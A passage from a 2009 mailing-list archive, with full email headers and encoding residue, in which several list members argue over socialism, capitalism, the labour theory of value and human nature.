>
> I am not spouting propaganda. =A0I look around me and this is what I o= bserve,
> from the local hardware store to the barber shop. =A0You can't see= it where
> you live?
>
> Jeff

You're spouting propaganda. Must be because you wear blinkers aro= und your
rose-colored glasses -- which are wired-into 24-Hour Headline CableTV Nooze= .


- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoaEO4ACgkQXo3EtEYbt3HxaACgk4/e0Rgur+z6cplEjh3wNOOo
sTEAn2O4vm3q/h4uTlnYaKfSz/m4DPXq
=3DGv0b
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b0eea55c19046ab45673-- From vortexb-l-request@eskimo.com Sun May 24 20:47:43 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4P3laIL012610; Sun, 24 May 2009 20:47:36 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4P3lZIG012596; Sun, 24 May 2009 20:47:35 -0700 Resent-Date: Sun, 24 May 2009 20:47:35 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 20:47:30 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090525034730.GM15548@shell.resist.ca> Reply-To: grok@resist.ca References: <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> <20090525001439.GH30161@shell.resist.ca> <2FBA0B26D68442A98FC5484F45F9C285@REVTEC1> <20090525033054.GL15548@shell.resist.ca> <63ffa6020905242037s7e533ec4j73bd02a24903319d@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905242037s7e533ec4j73bd02a24903319d@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: TRW, hostage, Assembly of Experts, LABLINK, SA-10d User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4148 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 390 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > I guess the point is that, whenever Capitalism has been completely > abolished, the society immediately degenerates into barbarism of an > incredibly genocidal lethality. Why is socialism so weak, why aren't these > liberated workers able to prevent their states from immediately being taken > over by thugs that set about slaughtering millions? This typical (misleading) question is skewed by the effects of a century of relentless capitalist propaganda. What the proper question here actually is is: why haven't the workers of the *advanced* capitalist countries succeeded in staging socialist revolution yet..? THAT is more to the point. And accurate. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoaFNIACgkQXo3EtEYbt3GiogCeIxto23QWvTEYsgG7Qqczs4cq EeAAoLA+LRlaS/u1SMvNts21ibxWk02n =Ykcq -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 20:49:34 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4P3nTGa012909; Sun, 24 May 2009 20:49:29 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4P3nTHA012901; Sun, 24 May 2009 20:49:29 -0700 Resent-Date: Sun, 24 May 2009 20:49:29 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Mark Iverson" To: References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> <20090525001439.GH30161@shell.resist.ca> <2FBA0B26D68442A98FC5484F45F9C285@REVTEC1> Subject: RE: [VoB]:Re: This is VortexB-L... Date: Sun, 24 May 2009 20:49:30 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 11 In-Reply-To: <2FBA0B26D68442A98FC5484F45F9C285@REVTEC1> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcnczfCdxR3JhhB3RKamUhMHBxoa8wACTCXQAARfViA= Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4149 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 391 Jeff said: "Let's get real. Human nature is basically evil. We are selfish. Even = when we occasionally do good deeds, it is because we covet that warm fuzzy feeling." BULLSHIT. Most people are basically good-natured, but when pressed to = extremes, will do what they have to... More on this in the next paragraph. And grok is either completely na=EFve, or in love with a failed = political system. =20 ANY political system will degrade over time because PEOPLE are in = control; and the people that seek out those positions of political power are NOT the selfless, = philanthropic ones. They fundamentally want more power and control; they want to control, and to NOT BE = controlled. Basically, people seek what they want/desire most. For some it's as = simple as a secure home and happy family (most average people); for others it=92s the big = multimillion $ mansion (CEOs); for some, its authority (police/military officers); and for others its power and = control (politicians). People do NOT gravitate to things they don't want... Its that simple. = Thus, ANY political system will degrade over time and encroach on more and more of the average = persons' freedoms/rights. One need look no further for a blatant example of this than the = U.S.Congress. They have taken themselves out of the bankrupt Social Security system and created a = separate, SOLVENT, retirement system! Makes no difference if they're Dems or Reps; they're very = nature is to make their own little world as safe and secure as they can, at the expense of the = masses. But this is no different than most any other political system over time... The other reason grok is just plain wrong is because he, as far as I've = read, makes no mention of the role of the incentives of freedoms, rights and personal property. = These things are a very strong motivation for the 'laborers' to increase their skills, work hard = to acquire property and pass that wealth on to their kids so as to give them a little easier = life. -Mark No virus found in this outgoing message. Checked by AVG - www.avg.com=20 Version: 8.5.339 / Virus Database: 270.12.37/2131 - Release Date: = 05/24/09 07:09:00 From vortexb-l-request@eskimo.com Sun May 24 20:58:59 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4P3wunj029195; Sun, 24 May 2009 20:58:56 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4P3wqvB029179; Sun, 24 May 2009 20:58:52 -0700 Resent-Date: Sun, 24 May 2009 20:58:52 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <20f5fe20aad6.20aad620f5fe@ncf.ca> Date: Sun, 24 May 2009 23:58:45 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Re: This is VortexB-L... X-Accept-Language: en Priority: normal Content-Type: text/html; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4150 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 392

----- Original Message -----

From: grok <grok@resist.ca>

Date: Saturday, May 23, 2009 11:29 pm

Subject: Re: [VoB]:Re: This is VortexB-L...

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
>
> As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
> mounted the barricade and roared out:
>
> > Why am I responsible for your plight, unless I personally caused it?
>
> Why are you asking misleading hypothetical questions when we're
> talking real facts
> here, Chas..?

The question isn't misleading. It is revealing.

Harry

From vortexb-l-request@eskimo.com Sun May 24 21:06:05 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4P45wum031407; Sun, 24 May 2009 21:05:59 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4P45uqi031391; Sun, 24 May 2009 21:05:56 -0700 Resent-Date: Sun, 24 May 2009 21:05:56 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Mark Iverson" To: References: <20f5fe20aad6.20aad620f5fe@ncf.ca> Subject: RE: [VoB]:Re: This is VortexB-L... Date: Sun, 24 May 2009 21:05:52 -0700 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000C_01C9DCB3.6C449360" X-Mailer: Microsoft Office Outlook 11 In-Reply-To: <20f5fe20aad6.20aad620f5fe@ncf.ca> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: Acnc7Sv71p8wWjzrR2uhLONJt5D2FQAAFH2w Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4151 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 393 This is a multi-part message in MIME format. ------=_NextPart_000_000C_01C9DCB3.6C449360 Content-Type: text/plain; charset="windows-1250" Content-Transfer-Encoding: 7bit Well, from my observations so far, this is a typical grok response to a very succinct, simple question that throws a monkeywrench into his belief system. Grok, I and most others on this discussion group would really appreciate a direct answer to this question... it is a fundamental one. -Mark _____ From: Harry Veeder [mailto:hveeder@ncf.ca] Sent: Sunday, May 24, 2009 8:59 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... ----- Original Message ----- From: grok > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Why am I responsible for your plight, unless I personally caused it? > > Why are you asking misleading hypothetical questions when we're > talking real facts here, Chas..? The question isn't misleading. It is revealing. Harry ------=_NextPart_000_000C_01C9DCB3.6C449360 Content-Type: text/html; charset="windows-1250" Content-Transfer-Encoding: quoted-printable
Well, from my observations so far, this is a = typical grok=20 response to a very succinct, simple question that throws a = monkeywrench=20 into his belief system.
 
Grok, I and most others on this discussion = group would=20 really appreciate a direct answer to this question... it is a = fundamental=20 one.

-Mark

From: Harry Veeder = [mailto:hveeder@ncf.ca]=20
Sent: Sunday, May 24, 2009 8:59 PM
To:=20 vortexb-l@eskimo.com
Subject: Re: [VoB]:Re: This is=20 VortexB-L...

----- Original Message -----=20

From: grok <grok@resist.ca>=20

> As the smoke cleared, Charles HOPE = <lookslikeiwasright@gmail.com>=20
> mounted the barricade and roared out:
>
> > = Why am I=20 responsible for your plight, unless I personally caused it?
> =
>=20 Why are you asking misleading hypothetical questions when we're
> = talking=20 real facts here, Chas..?

The question isn't misleading. It is revealing.

Harry

 

------=_NextPart_000_000C_01C9DCB3.6C449360-- From vortexb-l-request@eskimo.com Sun May 24 21:50:22 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4P4oJsm011715; Sun, 24 May 2009 21:50:19 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4P4oICj011701; Sun, 24 May 2009 21:50:18 -0700 Resent-Date: Sun, 24 May 2009 21:50:18 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=OXVdBcETSdJ4u5UL/OIqA6q5sX/ifOijE1ivcjIhJqc=; b=BPLME6MQ+LMpow3BFF328LMW0DgggKAXl9f05O3WWqaqaIrsF4uhTyQOIuVPk8UPNM KE8+wFW6EnUH2eQYxzkb1g+n17NQiI4T90vizggB/e6ZGl6Mg5bgGKiD+8HFz/NAtAIX 75FdK/1ygw3OgWECwLxtdP28MW5qmVImnVFIA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=eACPBrhEm8dCpPVmvpNftGYMBsxd04ttoQaDp5Vi5TOjATQLT1xG8DtJ7tVCCh1I1Y MR+j8I1nglsU6sBfqIQM+VAF5bNsCcMRbA3FUORAUkKjroo4cKGyDzbNiUjxwejGN5q4 wRk0ffx5v7/b86anIvRTXXW0ZVONz4YcohZS8= MIME-Version: 1.0 In-Reply-To: <20090525034730.GM15548@shell.resist.ca> References: <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> <20090525001439.GH30161@shell.resist.ca> <2FBA0B26D68442A98FC5484F45F9C285@REVTEC1> <20090525033054.GL15548@shell.resist.ca> <63ffa6020905242037s7e533ec4j73bd02a24903319d@mail.gmail.com> <20090525034730.GM15548@shell.resist.ca> From: Charles HOPE Date: Mon, 25 May 2009 00:49:56 -0400 Message-ID: <63ffa6020905242149n22e28ce4s982b9309b546bece@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b517acf5c3046ab5587b Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4152 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 394 --001636c5b517acf5c3046ab5587b Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I can name more than a dozen times that worker's states have devolved rapidly into slaughterhouses. That's not Capitalist propaganda, unless you're willing to defend those countries. On Sun, May 24, 2009 at 11:47 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > I guess the point is that, whenever Capitalism has been completely > > abolished, the society immediately degenerates into barbarism of an > > incredibly genocidal lethality. Why is socialism so weak, why aren't > these > > liberated workers able to prevent their states from immediately being > taken > > over by thugs that set about slaughtering millions? > > This typical (misleading) question is skewed by the effects of a century = of > relentless capitalist propaganda. What the proper question here actually = is > is: why > haven't the workers of the *advanced* capitalist countries succeeded in > staging > socialist revolution yet..? > > THAT is more to the point. And accurate. > > - -- grok. > > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoaFNIACgkQXo3EtEYbt3GiogCeIxto23QWvTEYsgG7Qqczs4cq > EeAAoLA+LRlaS/u1SMvNts21ibxWk02n > =3DYkcq > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b517acf5c3046ab5587b Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I can name more than a dozen times that worker's states have devolved r= apidly into slaughterhouses. That's not Capitalist propaganda, unless y= ou're willing to defend those countries.



On Sun, May 24, 2009 at 11:47 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> I guess the point is that, whenever Capitalism= has been completely
> abolished, the society immediately degenerates into barbarism of an > incredibly genocidal lethality. Why is socialism so weak, why aren'= ;t these
> liberated workers able to prevent their states from immediately being = taken
> over by thugs that set about slaughtering millions?

This typical (misleading) question is skewed by the effects of a cent= ury of
relentless capitalist propaganda. What the proper question here actually is= is: why
haven't the workers of the *advanced* capitalist countries succeeded in= staging
socialist revolution yet..?

THAT is more to the point. And accurate.

- -- grok.









- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoaFNIACgkQXo3EtEYbt3GiogCeIxto23QWvTEYsgG7Qqczs4cq
EeAAoLA+LRlaS/u1SMvNts21ibxWk02n
=3DYkcq
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b517acf5c3046ab5587b-- From vortexb-l-request@eskimo.com Sun May 24 21:56:38 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4P4uVNU013869; Sun, 24 May 2009 21:56:31 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4P4uUs1013856; Sun, 24 May 2009 21:56:30 -0700 Resent-Date: Sun, 24 May 2009 21:56:30 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <20976920aba7.20aba7209769@ncf.ca> Date: Mon, 25 May 2009 00:56:21 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:China vs. US X-Accept-Language: en Priority: normal Content-Type: text/html; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4153 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 395

----- Original Message -----

From: Charles HOPE <lookslikeiwasright@gmail.com>

Date: Saturday, May 23, 2009 1:44 pm

Subject: Re: [VoB]:China vs. US

> Yes. Subjective utility is the primary kind of value, and then
> there is a
> market price which is the aggregate of many subjective utilities.
> The time
> required to create a product is irrelevant, is based on unreasonable
> assumptions, and what's more, with great irony, there's no way to
> extract a
> surplus from it. Feel free to show me how I'm wrong.

wage-labour should be an option for living rather than a necessity for living  precisely because the time to create

a product is irrelevant to its value.

Harry 

From vortexb-l-request@eskimo.com Sun May 24 21:58:33 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4P4wTE4015098; Sun, 24 May 2009 21:58:29 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4P4wThQ015085; Sun, 24 May 2009 21:58:29 -0700 Resent-Date: Sun, 24 May 2009 21:58:29 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=FRhkm21O8p9cW7Y0mS2lWhp5DRN1vJhG6pBP5lSPLSc=; b=G1OymcvVsp9h7yPkHrovh1ekNxIEnK2FauhX4BXTMFk71vKXS+icjh7L85WmSCllp+ HSlc6jOFJpiX9KuHRUXn5H0G5ClYjSM1LW6vb3k8a7lx3yAm1rYcPHHhNFlwR67EO0Q1 E+rI5pG6jrEWL7rcI4tMg2in/f3J95ZV5f7CM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=hlCrhxlj1bhzJ/P78ozLG3K6ljse48Pnqwjsx8uGAPA77gY0SYFGuHCLksjveG63Od bC/TmdxeVWV+g8xoSG+oKWj7Bg53slpp6VPcM7XduPXUjVx9nquVGdeCbT81714Ci9yO D4qcBAZI5atNQIR+M11utf1XgxHA0f0vSSIjk= MIME-Version: 1.0 In-Reply-To: <20090525034730.GM15548@shell.resist.ca> References: <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> <20090525001439.GH30161@shell.resist.ca> <2FBA0B26D68442A98FC5484F45F9C285@REVTEC1> <20090525033054.GL15548@shell.resist.ca> <63ffa6020905242037s7e533ec4j73bd02a24903319d@mail.gmail.com> <20090525034730.GM15548@shell.resist.ca> From: Charles HOPE Date: Mon, 25 May 2009 00:58:07 -0400 Message-ID: <63ffa6020905242158o39e7e884q765742e142c91cb2@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b8eff03b1d046ab5750a Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4154 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 396 --001636c5b8eff03b1d046ab5750a Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Yeah, well, you know, the lack of revolution in the advanced capitalist countries has disaffected generations of Communists into Liberals. The answer is that Capitalism really isn't as oppressive as the caricatures of the mid 1800s, and it got better over time, not worse. It gives so many workers a good life that really none of them consider revolution. That is because both sides benefit from voluntary transactions, because wealth is subjective, because the LTV is bogus. QED. On Sun, May 24, 2009 at 11:47 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > I guess the point is that, whenever Capitalism has been completely > > abolished, the society immediately degenerates into barbarism of an > > incredibly genocidal lethality. Why is socialism so weak, why aren't > these > > liberated workers able to prevent their states from immediately being > taken > > over by thugs that set about slaughtering millions? > > This typical (misleading) question is skewed by the effects of a century = of > relentless capitalist propaganda. What the proper question here actually = is > is: why > haven't the workers of the *advanced* capitalist countries succeeded in > staging > socialist revolution yet..? > > THAT is more to the point. And accurate. > > - -- grok. > > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoaFNIACgkQXo3EtEYbt3GiogCeIxto23QWvTEYsgG7Qqczs4cq > EeAAoLA+LRlaS/u1SMvNts21ibxWk02n > =3DYkcq > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b8eff03b1d046ab5750a Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Yeah, well, you know, the lack of revolution in the advanced capitalist cou= ntries has disaffected generations of Communists into Liberals. The answer = is that Capitalism really isn't as oppressive as the caricatures of the= mid 1800s, and it got better over time, not worse. It gives so many worker= s a good life that really none of them consider revolution. That is because= both sides benefit from voluntary transactions, because wealth is subjecti= ve, because the LTV is bogus. QED.


On Sun, May 24, 2009 at 11:47 PM, grok <= span dir=3D"ltr"><grok@resist.ca&g= t; wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> I guess the point is that, whenever Capitalism= has been completely
> abolished, the society immediately degenerates into barbarism of an > incredibly genocidal lethality. Why is socialism so weak, why aren'= ;t these
> liberated workers able to prevent their states from immediately being = taken
> over by thugs that set about slaughtering millions?

This typical (misleading) question is skewed by the effects of a cent= ury of
relentless capitalist propaganda. What the proper question here actually is= is: why
haven't the workers of the *advanced* capitalist countries succeeded in= staging
socialist revolution yet..?

THAT is more to the point. And accurate.

- -- grok.









- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoaFNIACgkQXo3EtEYbt3GiogCeIxto23QWvTEYsgG7Qqczs4cq
EeAAoLA+LRlaS/u1SMvNts21ibxWk02n
=3DYkcq
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b8eff03b1d046ab5750a-- From vortexb-l-request@eskimo.com Sun May 24 21:59:13 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4P4x9cD002707; Sun, 24 May 2009 21:59:09 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4P4x9N6002700; Sun, 24 May 2009 21:59:09 -0700 Resent-Date: Sun, 24 May 2009 21:59:09 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=GxT3ZIx21JQ06RFrqlbyTHImSzvMa6veRZqMkxuSwzs=; b=BKqUiLUV8wYwzYJtQgNWp5t1shZY57Uq4LkgzewidLFNaZBHFxtMBo9VQ0XUzt3Hkj GrMpOdpISV88g7IrlQOyZ0y9rGX5B0HCGW5I8E4nZpGdjMGyevS7Mf9G9Nla4TaqHPQl koVbLSVMrxUDSi4c2CkP4DlAT1//yJRkXxxq4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=Fy9jIHxWrciwA/4j7w01Rw07alua1w/HVzOYkrHzEw3MgCf8yI8EhH71FguAGINWVq LsAO8Usfd7vYdrt89mhnRPpro2OdV8CXj3jkKdps0b6p5OqQVxJiTrWvRlOEb2EKJ6FA WVqgCWU4N1h3uFV6ErilTatdSshE9oV4X2IR8= MIME-Version: 1.0 In-Reply-To: <20976920aba7.20aba7209769@ncf.ca> References: <20976920aba7.20aba7209769@ncf.ca> From: Charles HOPE Date: Mon, 25 May 2009 00:58:47 -0400 Message-ID: <63ffa6020905242158i758ea66bi1505d94de368df53@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b84d51be20046ab578f0 Resent-Message-ID: <3sNph.A.Gq.cWiGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4155 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 397 --001636c5b84d51be20046ab578f0 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable How does that follow? On Mon, May 25, 2009 at 12:56 AM, Harry Veeder wrote: > *----- Original Message -----* > > *From*: Charles HOPE > > *Date*: Saturday, May 23, 2009 1:44 pm > > *Subject*: Re: [VoB]:China vs. US > > > Yes. Subjective utility is the primary kind of value, and then > > there is a > > market price which is the aggregate of many subjective utilities. > > The time > > required to create a product is irrelevant, is based on unreasonable > > assumptions, and what's more, with great irony, there's no way to > > extract a > > surplus from it. Feel free to show me how I'm wrong. > > wage-labour should be an option for living rather than a necessity for > living precisely because the time to create > > a product is irrelevant to its value. > > Harry > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b84d51be20046ab578f0 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable How does that follow?


